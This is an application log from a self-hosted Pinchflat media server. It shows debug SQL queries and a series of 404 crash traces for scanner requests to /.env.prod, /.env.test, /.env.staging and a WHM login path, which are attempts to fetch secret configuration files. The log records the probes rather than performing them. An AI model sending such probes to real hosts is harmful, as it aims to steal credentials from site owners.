OFFSET ? [5, 0] 15:21:36.923 [debug] QUERY OK source="sources" db=0.0ms idle=1.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?,?)) [1, 2, 3] 15:21:36.925 [debug] QUERY OK source="media_items" db=1.6ms idle=1.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 15:21:36.927 [debug] QUERY OK source="media_items" db=1.6ms idle=3.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 15:21:36.927 [debug] QUERY OK source="tasks" db=0.1ms idle=4.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 15:21:36.927 [info] Sent 200 in 7ms 15:21:36.933 [info] GET /.env.prod 15:21:36.934 [debug] QUERY OK source="settings" db=0.0ms idle=10.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:36.934 [debug] QUERY OK source="settings" db=0.0ms idle=10.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:36.934 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:36.934 [error] #PID<0.9496.0> running PinchflatWeb.Endpoint (connection #PID<0.9495.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /.env.prod ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9495.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.prod", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 49896}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9496.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/.env.prod", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDAIsHhOO6fXYAAbRC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9495.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.prod", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 49896}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9495.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.prod", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 49896}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9496.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/.env.prod", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDAIsHhOO6fXYAAbRC"} ], scheme: :http, sc (truncated) 15:21:37.172 [info] GET /.env.test 15:21:37.172 [debug] QUERY OK source="settings" db=0.0ms idle=246.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:37.172 [debug] QUERY OK source="settings" db=0.1ms idle=245.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:37.172 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:37.172 [error] #PID<0.9498.0> running PinchflatWeb.Endpoint (connection #PID<0.9497.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /.env.test ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9497.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.test", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 49902}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9498.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/.env.test", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDAJk7_BZSo2wAAbSC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9497.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.test", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 49902}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9497.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.test", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 49902}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9498.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/.env.test", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDAJk7_BZSo2wAAbSC"} ], scheme: :http, sc (truncated) 15:21:37.216 [info] GET /___proxy_subdomain_whm/login 15:21:37.216 [debug] QUERY OK source="settings" db=0.1ms idle=288.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:37.216 [debug] QUERY OK source="settings" db=0.0ms idle=282.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:37.216 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:37.216 [error] #PID<0.9500.0> running PinchflatWeb.Endpoint (connection #PID<0.9499.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /___proxy_subdomain_whm/login ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /___proxy_subdomain_whm/login (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9499.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/___proxy_subdomain_whm/login", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 49914}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)", "x-forwarded-for" => "167.99.182.39", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "167.99.182.39" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9500.0>, params: %{}, path_info: ["___proxy_subdomain_whm", "login"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)"}, {"x-forwarded-for", "167.99.182.39"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "167.99.182.39"} ], request_path: "/___proxy_subdomain_whm/login", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDAJvaaq2XeHAAAbTC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9499.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/___proxy_subdomain_whm/login", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 49914}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)", "x-forwarded-for" => "167.99.182.39", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "167.99.182.39" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /___proxy_subdomain_whm/login (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9499.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/___proxy_subdomain_whm/login", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 49914}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)", "x-forwarded-for" => "167.99.182.39", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "167.99.182.39" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9500.0>, params: %{}, path_info: ["___proxy_subdomain_whm", "login"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)"}, {"x-forwarded-for", "167.99.182.39"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "167.99.182.39"} ], request_path: "/___proxy_subdomain_whm/login", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDAJvaaq2XeHAAAbTC"} ], scheme: :http, script_name: [], secret_key_base: :..., s (truncated) 15:21:37.408 [info] GET /.env.staging 15:21:37.409 [debug] QUERY OK source="settings" db=0.1ms idle=475.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:37.409 [debug] QUERY OK source="settings" db=0.0ms idle=236.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:37.409 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:37.409 [error] #PID<0.9502.0> running PinchflatWeb.Endpoint (connection #PID<0.9501.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /.env.staging ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9501.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.staging", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 49928}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9502.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger 